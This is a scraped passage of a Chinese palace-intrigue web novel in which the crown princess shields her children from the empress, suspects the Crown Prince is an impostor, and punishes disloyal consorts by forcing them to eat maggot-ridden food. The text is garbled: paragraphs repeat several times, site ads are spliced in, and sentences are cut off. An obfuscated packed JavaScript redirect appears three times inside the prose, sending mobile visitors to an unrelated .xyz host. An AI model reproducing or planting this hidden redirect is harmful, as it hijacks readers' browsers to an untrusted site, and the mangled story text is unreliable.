苏灵音报复性的挖苦:“太子妃可是京城第一贵女,你以下犯上,对太子咆哮,成何体统?真是像极了疯狗!快将太子妃扶回去,免得她违抗圣命,冲出禁制。” 几个宫女对云清婳比了个请的手势。 “裴墨染,我对你好失望!你不要孩子了吗?”她的眼中噙着泪花,眼神失望透顶。 宫女将云清婳强行扶进去。 裴墨染吐出一口浊气。 苏灵音娇柔地安慰:“殿下莫要伤怀,太子妃只是还没想通。” “墨染,云清婳口口声声说爱你,可一点付出都不肯,你还看不明白吗?这个女人心中只有自己!”皇后说着风凉话。 裴墨染低吼:“够了!” 皇后夹了他一眼。 真是跟他父皇如出一辙的虚伪,明明都已经伤害云清婳了,还装什么深情? 皇后勾勾手,“承基、辞忧,跟本宫回宫。” 孩子脸上挂着泪珠,瑟缩着躲在云清婳身后,看向她时,眼底满是依赖。 “娘亲……” 云清婳的心口一窒,眼底泄出寒意,“休想!” 谁也不能伤害他们! 曾经她只以为他们是她复仇的工具! 但方才陡然间,她感受到了些许亲子情。 她舍不得他们。 更何况,离复仇成功就差最后一步了,孩子一定不能出任何闪失! “这可由不得你!”皇后递给金嬷嬷一个眼神。 金嬷嬷领着人上前,“各位主子,别反抗了,太子殿下都应允了,你们还敢忤逆殿下不成?” 魏娴、陈如燕面露无奈。 “呜呜呜……娘亲,我怕……”承基放声大哭。 辞忧抱着云清婳的腿,抽抽噎噎地哭:“爹爹救我……” 云清婳的视线穿过人群投掷在裴墨染身上,没什么情绪。 “……”裴墨染一动不动,只有叹气声。 “还愣着干嘛?把皇孙带来!”皇后不耐地催促。 “是!” 金嬷嬷知道陈如燕的能力,不敢惹她,她们一把推开魏娴、飞霜,越过云清婳就要抓孩子。 “放开我,大胆!”辞忧气鼓鼓地怒斥。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343008|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承基哭道:“我以后一定要砍你们脑袋!” 云清婳没有动,似乎已经放弃挣扎。 忽然,远处传来急促的脚步声。 “住手!” 一个苍老却德高望重的声音传来。 桂嬷嬷沉着脸,大步走来。 她的身后跟着十几个宫女。 云清婳悄然一笑,跟她交换了一个眼神。 皇后、苏灵音的眼中出现了片刻慌乱。 “桂嬷嬷,你怎么来了?”皇后的嘴张了张,好一会儿才从嘴里挤出这一句话。 “皇后娘娘说笑了,老奴为何不能来?”桂嬷嬷不卑不亢地反问。 说着,她越过金嬷嬷,牵起承基、辞忧的手。 皇后的脸僵了僵,一缕紧张的神情爬上眉梢,“你们这是……” 婆媳矛盾是千年难题,皇后对太后的忌惮不是一日两日了。 “太后娘娘早就跟太子妃约好,要帮太子妃照看皇孙。老奴是接皇孙去慈宁宫的。”桂嬷嬷看向云清婳。 云清婳对她露出感激的眼神。 没错,她早就料到苏家会对孩子下手。 所以在禁足前就跟太后约好,若翊坤宫有异动,请太后出面保护孩子。 她怎么可能把自己的安危全都押宝在一个男人身上? 事实证明,她选对了! 皇后气得鼻孔翕动,眼珠子都快瞪出来,她着急道:“且慢!是本宫先来的!” “是啊!”苏灵音的额上也冒出来了汗珠。 桂嬷嬷剐了苏灵音一眼,“苏侧妃好没规矩!皇后娘娘说话,您怎能插嘴?您临盆在即,却来玄音阁看热闹,若是伤了皇嗣你担待得起吗?” 她说话抑扬顿挫,把苏灵音吓得脸都白了。 苏灵音尽管不服气,可桂嬷嬷是太后的心腹,正所谓大狗也得看主人,她只好忍下来。 皇后攥住衣袖,一脸幽怨。 桂嬷嬷例行公事般说道:“皇后娘娘说笑了,教养皇孙是家事,又不是还分什么先来后到?太后是皇上的母亲,是您的婆母,您这是对太后有异议?” 皇后没好气道:“自然不是。” 第336章 蛮蛮秋后算账 桂嬷嬷唇角微扬,那笑意里透着几分得意的弧度。 毕竟姜还是老的辣,她对付皇后手拿把掐,还未拿出三成功力,皇后就偃旗息鼓。 “慢着!皇上答应了吗?太后怎能这样……皇后声如蚊讷。 桂嬷嬷淡淡道:“不如娘娘去问问陛下,倘若陛下有新的旨意,老奴再将皇孙送去翊坤宫。 皇后咬牙切齿,却又无可奈何。 正说着,裴玉珠来了。 她笑吟吟地扫视众人,视线投注在裴墨染身上,“太子,事情怎么闹成了这样?你真是不懂怜香惜玉,都把太子妃这个小美人给气哭了。 “……裴墨染不语。 看起来有些窝囊。 裴玉珠眼中的轻蔑几乎要溢出来。 皇后的眼眸瞬间被点亮,她连忙上前,“长公主,太后要将孩子带走。 裴玉珠似笑非笑道:“母后要将孩子带走,那便带走。桂嬷嬷慢走,我得空就去给母后请安。 桂嬷嬷颔首,她牵着孩子离开。 辞忧、承基回头跟云清婳摆摆手。 云清婳的眼神安宁而坚定,她柔声道:“要乖乖听太奶奶的话。 两个小奶包乖巧地点头。 “对不住,让母后白跑一趟。云清婳阴阳怪气,故意咬重最后四个字。 “你给本宫等着!皇后放下狠话,重重甩袖,浩浩荡荡地带人离开。 苏灵音的肚子忽然阵痛,她的脸色惨白,被人扶走了。 裴墨染早就不见踪影。 玄音阁重新上锁。 魏娴、陈如燕还来不及跟云清婳说话就被隔绝在外。 飞霜揩去眼泪,她扶着云清婳进寝殿。 “殿下可真绝情!居然连孩子都不顾了,平日里口口声声说爱您,可方才皇后跟苏灵音的手都要扇到您脸上了,他还龟缩在后面无动于衷!飞霜越想越气,眼泪又啪嗒啪嗒掉了出来。 云清婳的脸上像是被清晨山野中的一层雾气笼罩,冷清到诡异,让人捉摸不透。 飞霜以为云清婳被伤着心了,她不停地咒骂皇后、苏灵音、裴墨染。 “主子,他们都会遭报应的!将来皇太孙继位,有他们好果子吃!奴婢这次彻底看 清了殿下,再也不会觉得他可怜了。” 飞霜磨着后槽牙,想想都替云清婳不值。 虽然主子对裴墨染是虚情假意,但他不是乐在其中,实际的好处不是都被他享受到了? 他怎能这么狠心,每次关键时候都弃主子于不顾! “说句不该说的,殿下还不如裴云澈!裴云澈若是有孩子,绝不会把他们送入虎口!” “因为,那不是裴墨染。”云清婳冷不丁吐出一句话。 飞霜愣住了。 过了好一会儿,她才反应过来,她轻眨了眨眼,“什么?什么不是……?” “那人不是裴墨染,我一眼就看出了古怪,所以刚才故意冲上前去验证。”云清婳的双眼笃定。 飞霜回忆起方才云清婳的确反常地冲上前歇斯底里,毫无仪态可言。 原来是为了这个。 “这也太匪夷所思了……怎么可能不是殿下呢?长相、声音、身材都一模一样啊!”这有些超出飞霜的认知了。 云清婳正色道:“旁人可能会认错,但我不会,裴墨染在军营待了十年,他的体态挺拔硬朗,绝不会驼背塌肩。 他性情自负,为人强势,方才那人却不敢跟其他人对视。他看孩子的眼神里也没有怜惜……” “最重要的是,你别忘了,当初裴云澈找江湖女术士假扮过我,裴墨染亦可找江湖术士假扮他。” 飞霜恍然大悟,她双手合十,“但愿主子的推测无误。” 云清婳倏的笑了,“小飞霜是不是被吓到了?世事真真假假,耳听为虚,眼见也为虚?” 她娇憨地点头,“奴婢都不知道该相信什么了。” “相信自己吧。”至少自己不会辜负自己。 虽然今日的事,跟裴墨染无关,但她还是有些失望了。 因为裴墨染还是没有全然相信她,把计划告诉她。 也不知狗男人究竟去哪里了,如此神秘。 云清婳捏起茶杯,啜了口茶水,“也不知裴墨染究竟去了何处,对了,裴云澈怎么样了?” 飞霜一直跟外面的暗线通过密信保持联系。 她道:“暗探说,裴云澈近来跟裴玉珠有往来,但二人似乎尚未谈拢。” 云清婳心如明镜般 通透,她深不可测地颔首,“裴玉珠既然想要当女帝,那么她早晚会把权力从傀儡皇帝手中夺去。裴云澈绝嗣,对裴玉珠而言,他自然比裴墨染更好掌控。” 原著里,裴墨染登基不久,裴玉珠便跟裴云澈联手**。 裴云澈跟裴墨染毕竟手足情深了十几年,他带兵**时,凭借对裴墨染的了解,让裴墨染的军队吃了不少暗亏,甚至诸葛贤也身**箭,不治而亡…… 她决不能让裴玉珠跟裴云澈这两个祸害联手,因为大昭江山是她儿子的! 诸葛贤这样的人才应该留下辅佐承基! “绝不能让他们二人联手。”云清婳的声音森然。 裴玉珠太过精明狡诈,裴云澈又太了解裴墨染,二人联手,后患无穷。 …… 又过了一日,禁足结束,玄音阁终于被下了锁。 当日,魏娴带着众夫人前来玄音阁请安。 而苏灵音借口安胎,闭门不出。 陈如燕讽刺,“前天在玄音阁**时,她不是还生龙活虎吗?怎么今日太子妃解禁,她就要养胎了?” 柳玉捂着嘴,她推测道:“天啊,莫不是她前天冒犯太子妃,惹怒上苍,所以动了胎气,产期要提前了?” 几个夫人七嘴八舌地讨论起来。 云清婳并不在乎苏灵音来不来请安,这种晦气的人,她多看一眼都膈应。 她清了清嗓子,登时所有夫人噤声。 是时候秋后算账,整顿东宫了。 “我被禁足时,听闻有不少姐妹苛待玄音阁出来的婢女?可是觉得我永远不会被放出来了?”云清婳的语气轻柔,可尾音上扬,胁迫威压陡然爆发。 她的眼中淬了冰,上位者的气势铺天盖地席卷而来。 肇事的人心虚的垂下眼,面皮通红。 其他人纷纷朝那几个墙头草看去。 究竟是谁,一目了然。 云清婳看到那几位夫人,有些意外,因为平日她们是第一批进肃王府的老人了。 她们平日里总是默不作声,老实本分,她对她们的印象还不错。 甚至想过,将来裴墨染登基,好歹封她们做嫔。 没成想这些人憋了一肚子坏水。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 通透,她深不可测地颔首,“裴玉珠既然想要当女帝,那么她早晚会把权力从傀儡皇帝手中夺去。裴云澈绝嗣,对裴玉珠而言,他自然比裴墨染更好掌控。 原著里,裴墨染登基不久,裴玉珠便跟裴云澈联手**。 裴云澈跟裴墨染毕竟手足情深了十几年,他带兵**时,凭借对裴墨染的了解,让裴墨染的军队吃了不少暗亏,甚至诸葛贤也身**箭,不治而亡…… 她决不能让裴玉珠跟裴云澈这两个祸害联手,因为大昭江山是她儿子的! 诸葛贤这样的人才应该留下辅佐承基! “绝不能让他们二人联手。云清婳的声音森然。 裴玉珠太过精明狡诈,裴云澈又太了解裴墨染,二人联手,后患无穷。 …… 又过了一日,禁足结束,玄音阁终于被下了锁。 当日,魏娴带着众夫人前来玄音阁请安。 而苏灵音借口安胎,闭门不出。 陈如燕讽刺,“前天在玄音阁**时,她不是还生龙活虎吗?怎么今日太子妃解禁,她就要养胎了? 柳玉捂着嘴,她推测道:“天啊,莫不是她前天冒犯太子妃,惹怒上苍,所以动了胎气,产期要提前了? 几个夫人七嘴八舌地讨论起来。 云清婳并不在乎苏灵音来不来请安,这种晦气的人,她多看一眼都膈应。 她清了清嗓子,登时所有夫人噤声。 是时候秋后算账,整顿东宫了。 “我被禁足时,听闻有不少姐妹苛待玄音阁出来的婢女?可是觉得我永远不会被放出来了?云清婳的语气轻柔,可尾音上扬,胁迫威压陡然爆发。 她的眼中淬了冰,上位者的气势铺天盖地席卷而来。 肇事的人心虚的垂下眼,面皮通红。 其他人纷纷朝那几个墙头草看去。 究竟是谁,一目了然。 云清婳看到那几位夫人,有些意外,因为平日她们是第一批进肃王府的老人了。 她们平日里总是默不作声,老实本分,她对她们的印象还不错。 甚至想过,将来裴墨染登基,好歹封她们做嫔。 没成想这些人憋了一肚子坏水。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 通透,她深不可测地颔首,“裴玉珠既然想要当女帝,那么她早晚会把权力从傀儡皇帝手中夺去。裴云澈绝嗣,对裴玉珠而言,他自然比裴墨染更好掌控。” 原著里,裴墨染登基不久,裴玉珠便跟裴云澈联手**。 裴云澈跟裴墨染毕竟手足情深了十几年,他带兵**时,凭借对裴墨染的了解,让裴墨染的军队吃了不少暗亏,甚至诸葛贤也身**箭,不治而亡…… 她决不能让裴玉珠跟裴云澈这两个祸害联手,因为大昭江山是她儿子的! 诸葛贤这样的人才应该留下辅佐承基! “绝不能让他们二人联手。”云清婳的声音森然。 裴玉珠太过精明狡诈,裴云澈又太了解裴墨染,二人联手,后患无穷。 …… 又过了一日,禁足结束,玄音阁终于被下了锁。 当日,魏娴带着众夫人前来玄音阁请安。 而苏灵音借口安胎,闭门不出。 陈如燕讽刺,“前天在玄音阁**时,她不是还生龙活虎吗?怎么今日太子妃解禁,她就要养胎了?” 柳玉捂着嘴,她推测道:“天啊,莫不是她前天冒犯太子妃,惹怒上苍,所以动了胎气,产期要提前了?” 几个夫人七嘴八舌地讨论起来。 云清婳并不在乎苏灵音来不来请安,这种晦气的人,她多看一眼都膈应。 她清了清嗓子,登时所有夫人噤声。 小说的域名caixs.com?(请来才 小说 看最新章节 完整章节) 是时候秋后算账,整顿东宫了。 “我被禁足时,听闻有不少姐妹苛待玄音阁出来的婢女?可是觉得我永远不会被放出来了?”云清婳的语气轻柔,可尾音上扬,胁迫威压陡然爆发。 她的眼中淬了冰,上位者的气势铺天盖地席卷而来。 肇事的人心虚的垂下眼,面皮通红。 其他人纷纷朝那几个墙头草看去。 究竟是谁,一目了然。 云清婳看到那几位夫人,有些意外,因为平日她们是第一批进肃王府的老人了。 她们平日里总是默不作声,老实本分,她对她们的印象还不错。 甚至想过,将来裴墨染登基,好歹封她们做嫔。 没成想这些人憋了一肚子坏水。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 通透她深不可测地颔首“裴玉珠既然想要当女帝那么她早晚会把权力从傀儡皇帝手中夺去。裴云澈绝嗣对裴玉珠而言他自然比裴墨染更好掌控。” 原著里裴墨染登基不久裴玉珠便跟裴云澈联手**。 裴云澈跟裴墨染毕竟手足情深了十几年他带兵**时凭借对裴墨染的了解让裴墨染的军队吃了不少暗亏甚至诸葛贤也身**箭不治而亡…… 她决不能让裴玉珠跟裴云澈这两个祸害联手因为大昭江山是她儿子的! 诸葛贤这样的人才应该留下辅佐承基! “绝不能让他们二人联手。”云清婳的声音森然。 裴玉珠太过精明狡诈裴云澈又太了解裴墨染二人联手后患无穷。 …… 又过了一日禁足结束玄音阁终于被下了锁。 当日魏娴带着众夫人前来玄音阁请安。 而苏灵音借口安胎闭门不出。 陈如燕讽刺“前天在玄音阁**时她不是还生龙活虎吗?怎么今日太子妃解禁她就要养胎了?” 柳玉捂着嘴她推测道:“天啊莫不是她前天冒犯太子妃惹怒上苍所以动了胎气产期要提前了?” 几个夫人七嘴八舌地讨论起来。 云清婳并不在乎苏灵音来不来请安这种晦气的人她多看一眼都膈应。 她清了清嗓子登时所有夫人噤声。 是时候秋后算账整顿东宫了。 “我被禁足时 她的眼中淬了冰上位者的气势铺天盖地席卷而来。 肇事的人心虚的垂下眼面皮通红。 其他人纷纷朝那几个墙头草看去。 究竟是谁一目了然。 云清婳看到那几位夫人有些意外因为平日她们是第一批进肃王府的老人了。 她们平日里总是默不作声老实本分她对她们的印象还不错。 甚至想过将来裴墨染登基好歹封她们做嫔。 没成想这些人憋了一肚子坏水。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16343009|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 通透她深不可测地颔首“裴玉珠既然想要当女帝 原著里裴墨染登基不久裴玉珠便跟裴云澈联手**。 裴云澈跟裴墨染毕竟手足情深了十几年他带兵**时凭借对裴墨染的了解让裴墨染的军队吃了不少暗亏甚至诸葛贤也身**箭不治而亡…… 她决不能让裴玉珠跟裴云澈这两个祸害联手因为大昭江山是她儿子的! 诸葛贤这样的人才应该留下辅佐承基! “绝不能让他们二人联手。”云清婳的声音森然。 裴玉珠太过精明狡诈裴云澈又太了解裴墨染二人联手后患无穷。 …… 又过了一日禁足结束玄音阁终于被下了锁。 当日魏娴带着众夫人前来玄音阁请安。 而苏灵音借口安胎闭门不出。 陈如燕讽刺“前天在玄音阁**时她不是还生龙活虎吗?怎么今日太子妃解禁她就要养胎了?” 柳玉捂着嘴她推测道:“天啊莫不是她前天冒犯太子妃惹怒上苍所以动了胎气产期要提前了?” 几个夫人七嘴八舌地讨论起来。 云清婳并不在乎苏灵音来不来请安这种晦气的人她多看一眼都膈应。 她清了清嗓子登时所有夫人噤声。 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没成想这些人憋了一肚子坏水。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 通透,她深不可测地颔首,“裴玉珠既然想要当女帝,那么她早晚会把权力从傀儡皇帝手中夺去。裴云澈绝嗣,对裴玉珠而言,他自然比裴墨染更好掌控。 原著里,裴墨染登基不久,裴玉珠便跟裴云澈联手**。 裴云澈跟裴墨染毕竟手足情深了十几年,他带兵**时,凭借对裴墨染的了解,让裴墨染的军队吃了不少暗亏,甚至诸葛贤也身**箭,不治而亡…… 她决不能让裴玉珠跟裴云澈这两个祸害联手,因为大昭江山是她儿子的! 诸葛贤这样的人才应该留下辅佐承基! “绝不能让他们二人联手。云清婳的声音森然。 裴玉珠太过精明狡诈,裴云澈又太了解裴墨染,二人联手,后患无穷。 …… 又过了一日,禁足结束,玄音阁终于被下了锁。 当日,魏娴带着众夫人前来玄音阁请安。 而苏灵音借口安胎,闭门不出。 陈如燕讽刺,“前天在玄音阁**时,她不是还生龙活虎吗?怎么今日太子妃解禁,她就要养胎了? 说的域名caixs.com?(请来才小 说 看最新章节 完整章节) 柳玉捂着嘴,她推测道:“天啊,莫不是她前天冒犯太子妃,惹怒上苍,所以动了胎气,产期要提前了? 几个夫人七嘴八舌地讨论起来。 云清婳并不在乎苏灵音来不来请安,这种晦气的人,她多看一眼都膈应。 她清了清嗓子,登时所有夫人噤声。 是时候秋后算账,整顿东宫了。 “我被禁足时,听闻有不少姐妹苛待玄音阁出来的婢女?可是觉得我永远不会被放出来了?云清婳的语气轻柔,可尾音上扬,胁迫威压陡然爆发。 她的眼中淬了冰,上位者的气势铺天盖地席卷而来。 肇事的人心虚的垂下眼,面皮通红。 其他人纷纷朝那几个墙头草看去。 究竟是谁,一目了然。 云清婳看到那几位夫人,有些意外,因为平日她们是第一批进肃王府的老人了。 她们平日里总是默不作声,老实本分,她对她们的印象还不错。 甚至想过,将来裴墨染登基,好歹封她们做嫔。 没成想这些人憋了一肚子坏水。 你的朋友正在书荒,快去帮帮他吧 第337章 她也来恶心苏灵音 魏娴阴阳怪气道:“何止啊?主子都没发话,就有狗克扣太子妃的吃食,故意把发霉的茶叶、馊了的饭菜送去给您。” 陈如燕听着就来气,她指桑骂槐,“一个个贱狗!为了讨主人欢心,真是无所不用其极!” “呜呜呜……太子妃,您被禁足时,妾身好担心,只能每日为您吃斋念佛、抄诵经文祈福。”姜瑶儿捏着帕子,哭得真情实感。 柳玉嘁了一声,她不留情面地拆台,“就你?吃斋念佛?我前几日还看你抱着肘子啃!” “你、你……我冤枉啊!太子妃,人家真的担心您嘛。”姜瑶儿的脸登时红了,她哭的声音更大了。 扑哧—— 魏娴笑了。 其他夫人也跟着笑了。 云清婳摇摇头,无奈的莞尔。 不得不说,这些女子比狗男人可爱多了。 而那些落井下石的人却没这么好过了。 她们像是热锅上的蚂蚁,惴惴不安,豆大的汗珠不断从鬓角滑下。 就像是等待宣判的**犯。 “既然做了,就要敢认!”云清婳拍拍手。 门外传来响动。 众人回头一看,只见家丁将几个厨房的下人绑了过来。 他们跪在地上,哭喊着求饶:“太子妃,我们知道错了……” “太子妃,饶命啊……” 飞霜站在台阶上,她双手叉腰,高声训斥道:“你们给我们吃馊饭的时候,怎么不知道怕?你们不是知错了,你们是知道自己要**!” 几个夫人吓得腿软,竟从梯子上瘫倒,双腿滑跪砸到地毯上。 “太子妃,我们知道错了……” “太子妃,我们也是被苏灵音骗了,她说您得罪了陛下,这次就算解禁也难以复宠了……” 云清婳觉得好笑。 这般蹩脚的理由,她们真的信吗? 她们无非是早在心里恨上了她,所以借题发挥,顺便讨好苏灵音罢了。 “放心吧,我不会取你们性命。”云清婳慵懒地斜靠在引枕上,手指卷着脑后披散下来的青丝,“毕竟我才解禁,怎能大动干戈?” 众人听出了她的揶揄、讽刺,身躯不住地轻颤。 坐在角落的陆 夫人拍了拍胸口。 幸亏这次她没有掺和此事。 “把东西端上来。”云清婳递给婢女一个眼神。 “是。”婢女露出冷簌簌的笑眼神刺向跪下请罪的人。 少顷一股恶臭发酸的味道飘来。 三十个婢女每人手上端着一个劝盘劝盘上放着恶臭的饭菜。 有的饭菜上甚至已经长出了白毛、绿毛。 最臭的几份饭菜上甚至还有蛆在蠕动。 “呕……”怀孕的夫人受不住这股味吐了出来。 “好恶心呕……” 几个夫人跟着吐了。 跪下请罪的人忐忑不安心中升起了迷茫。 “没错这些是十五日以来在你们的授意下被端进玄音阁的饭菜。若不是玄音阁有余粮我怕是不饿死也得病死。”云清婳的声音很平缓 “太子妃恕罪!我们知错了!” “太子妃这些都是贵人的授意啊我们只是贵人的狗啊!” “我们真的知道错了……” 几个太监哭得上气不接下气其他人涕泪横流狼狈不堪。 云清婳的眼底跳动着玩味“怕什么?我说过不取你们性命把这些饭菜吃了过去的事便一笔勾销!” “啊?”姜瑶儿忍不住叫了一声“这也太恶心了!” “呕……”跪在地上的夫人吐了。 姜瑶儿面色难看她讪讪道:“太子妃妾身胃口浅能不能不看了?” “不行!”云清婳不容置喙“不仅不能不看我还要东宫上下所有人一起看!” 她就是要告诫所有人这就是下场! “是。”众夫人福福身。 她们脸上的表情各异有人庆幸有人嫌弃也有人满眼期待。 …… 云清婳把这些带去了花园旁的空地。 她召集东宫上下观看上至万嬷嬷、管辖下至最低等的倒夜壶的婢女、马奴。 几百号人将‘罪人’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16346998|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围住他们捏着鼻子一脸嫌弃。 不少人都在干呕。 万嬷嬷、管家早就司空见惯了各种残暴的惩罚这种小惩戒对他们而言倒是稀奇 。 他们对云清婳的做法毫无异议只有赞赏。 云清婳坐在上首的看台上白皙的脸上透着清纯善良就好像这个惩罚与她无关。 “人到齐了吗?”她的指尖有一搭没一搭的敲击椅臂。 万嬷嬷摇摇头“苏侧妃说她即将临盆身子抱恙不能前来。” “这出戏她作为始作俑者怎能不来看?她这是怕了?”云清婳讥讽地冷哼。 前天苏灵音故意恶心她。 那么今日她当然要涌泉相报让苏灵音见识一下什么叫真正的恶心。 魏娴上前道:“她这么精明的人见形势对她不利自然不敢来。” “真是可恨!她躲起来算怎么回事?”飞霜攥紧了拳头心里窝火。 “不急。”毕竟这是专门为苏灵音打造的‘鸿门宴’。 管家跑上前他拱手道:“太子妃快到晌午了可以开始了。等会儿东宫上下还要用午膳呢。” 此话一出众人倒吸了口凉气。 甚至有人又哗啦吐了。 看了这么恶心的东西谁还吃得下饭? 管家胃口真好啊。 云清婳抬起眼皮她高看了管家一眼“既然苏侧妃身子抱恙不宜走动不如把他们押去清心阁吧!这样也好让苏侧妃足不出户地看。” 飞霜、魏娴眼前一亮 这招真损但是解气! 不一会儿所有人就挪去了清心阁。 此时苏灵音正端着灵芝鸡汤悠闲惬意地喝着她对巧慧道:“我才不去看云清婳耀武扬威她想拿捏我我偏不让她拿捏气死她!呵呵……” 忽然间一股恶臭飘来。 她的鼻子嗅了嗅登时胃里翻江倒海噗嗤吐了出来。 “怎么这么臭?”她捏着鼻子踉踉跄跄地走出门一看登时傻眼了。 庭院里黑压压一片站满了人。 馊饭整齐地摆了一地每碗饭后面都跪着一个人。 第338章 裴玉珠知道真相 “这是干什么?滚!都给我滚出去!”苏灵音嫌弃地指着门外,眼中蕴着薄怒。 云清婳平静地看着她,“听说苏侧妃不便走动,但是这么精彩的大戏,我怎能独享?于是就把戏台挪到了苏侧妃的寝殿。” “谁要看……呕……这么恶心的……呕东西,呕……”苏灵音吐个不停,胃部痉挛,一抽一抽的。 她的脸上满是汗珠,快要虚脱,唇色惨白,“我不看,你们走……” 可云清婳怎会听她的? 她立即下令:“现在开始吃!最后一个吃完的人就发卖给牙人。” 一听要被发卖,他们再也顾不上**跟脏,抓着饭就往嘴里塞。 哪怕饭菜上面的蛆还在蠕动。 哪怕饭酸臭冲鼻。 他们狼吞虎咽,边吐边吃,眼泪鼻涕挂了满脸。 苏灵音胃里的东西都吐干净了,五脏六腑似乎拧在了一起,眼前一阵发黑。 她想走,可陈如燕、魏娴默契地一左一右抓住她的胳膊。 苏灵音胃里的清水都呕出来了。 最后,一个婢女被拖出去发卖。 其他人吃了馊饭,好像中了毒,口吐白沫,捂着肚子在地上打滚。 苏灵音也昏死过去。 云清婳通身舒畅了。 什么君子报仇十年不晚,她要的是现世报! 经历了这件事后,苏灵音食不下咽,喝清水都吐。 苏灵音即将临盆,总是容易饿,她馋得不得了,可一吃饭,她就会想到那一日那些人吃蛆的画面,吐得昏天黑地。 事情传到玄音阁后,众人笑得前仰后合。 “哈哈哈……”飞霜笑得肚子都疼了,“活该!饿死她!” 云清婳唇角微扬,笑意里透着几分勾人的妖冶,似暗夜中悄然绽放的**。 这就是惹她的下场! 恰在此时,管家脚步急促,匆匆奔至跟前。 他双手奉上一封信,“太子妃,这是长公主方才亲自送来的。” 云清婳立即结果信笺,她打开一看,眼中闪过的兴奋。 “真是踏破铁鞋无觅处,得来全不费工夫。” 她正想会一会长公主,长公主就自己送上门了。 “主 子,信上写了什么? “长公主约我下午在望江楼一叙。她将信丢到茶几上,拍了拍手上的灰尘。 飞霜凝眉,“裴玉珠可没那么简单,不可掉以轻心,主子,万万不能去啊。 云清婳起身去更衣,“怎能不去? 她还要借此契机,离间她跟裴云澈呢。 更何况,裴玉珠正在风头上,权力正盛,她就算这一次拒绝,可下一次逃得掉吗? …… 云清婳换了一席素净的烟青色襦裙,梳着堕马髻,她从妆奁里挑了一枚藏有**的玛瑙戒指戴到食指上。 “主子,段南天已经带人在望江楼附近埋伏好了,只有一有异动,他就带人进去。飞霜担忧的看着她。 她颔首,“通知云家跟裴云澈了吗? 飞霜颔首。 多年的警觉告诉她,绝不能把希望压在一个人身上。 她不傻,自然不会白白去送命。 飞霜踌躇着开口,“主子,要不还是算了吧,也不知裴玉珠究竟想做什么?倘若她囚禁您或者伤了您该如何是好? “放心吧,我必不会让自己吃亏。她轻拍飞霜的肩膀,眼神坚定。 望江楼。 云清婳带着飞霜、侍卫上楼。 可还没进厢房,飞霜跟侍卫就被拦下。 云清婳一推门,裴玉珠已经正襟危坐在一架古筝前,她穿着杏黄色锦绣衣裙,头戴东珠点翠,贵气逼人。 “见过长公主。云清婳恭敬的福福身。 裴玉珠已经年近六十,头上生出了几缕银丝,但因为保养得当,岁月并未在她的脸上留下痕迹,肌肤紧致,眼角的细纹在不笑时几乎看不出来。 她体态轻盈,凹凸玲珑,远远看上去就像三十多岁。 听闻她面首无数,却没有驸马,在封地逍遥自在。 云清婳对这样野心勃勃的女人是欣赏的,是惺惺相惜的。 只可惜,她们是敌对的。 “快坐!裴玉珠拍了拍身侧的座位,“前几日把你吓到了吧?这可不是我的本意,都是皇后太过心急! 云清婳恭敬的坐在她身边,她露出些许脆弱,“多谢长公主关怀。 “说到 底还是墨染太过狠心,居然连妻儿都不顾了,着实没有担当。 云清婳挑眉,惊讶的捂着嘴,“长公主这是何意? “君若无情我便休!你可是京城第一贵女,何必委身于那般窝囊弱懦的男人?皇后跟苏灵音抢你孩儿,他连个屁都不敢放,这种人值得你为他付出?裴玉珠冷嘁一声,眼底的厌恶溢了出来。 云清婳登时明白了。 裴玉珠是想劝她投敌倒戈。 然后跟她里应外合,将来彻底架空裴墨染。 不得不说,她的聪慧远超常人。 尽管云清婳很认同她的话,但为了人设不倒,她还是冠冕堂皇道:“多谢长公主的好意,但我跟夫君感情甚笃,我不会背叛夫君。倘若您是想跟我说这些,我便告退了。 云清婳福福身,作势要走。 裴玉珠最后的耐心耗尽,她鼻尖轻颤,一声冷哼自鼻腔中幽幽逸出,“慢着! 云清婳停住脚步。 “云清婳,我已经查清了,你能把裴家那几个蠢货耍得团团转,你能骗得了我吗? 她一字一顿,敲击着云清婳的心房,让她不禁背脊发凉。 云清婳的唇抿成一字,等待着下文。 “我很欣赏你这样重情重义的女子,你若是愿意与我合作,将来我帮你手刃敌人!裴云澈、皇后都会不得好死!裴玉珠毫无保留的亮出底牌,蔑视众生,就像在看一只蝼蚁。 云清婳的瞳孔骤然紧缩,胸腔俱颤。 裴玉珠果真深不可测! “可惜,我不喜欢受制于人,我喜欢自己报仇!云清婳转身的瞬间,褪去脸上的娇俏谨慎,露出清冷的表情。 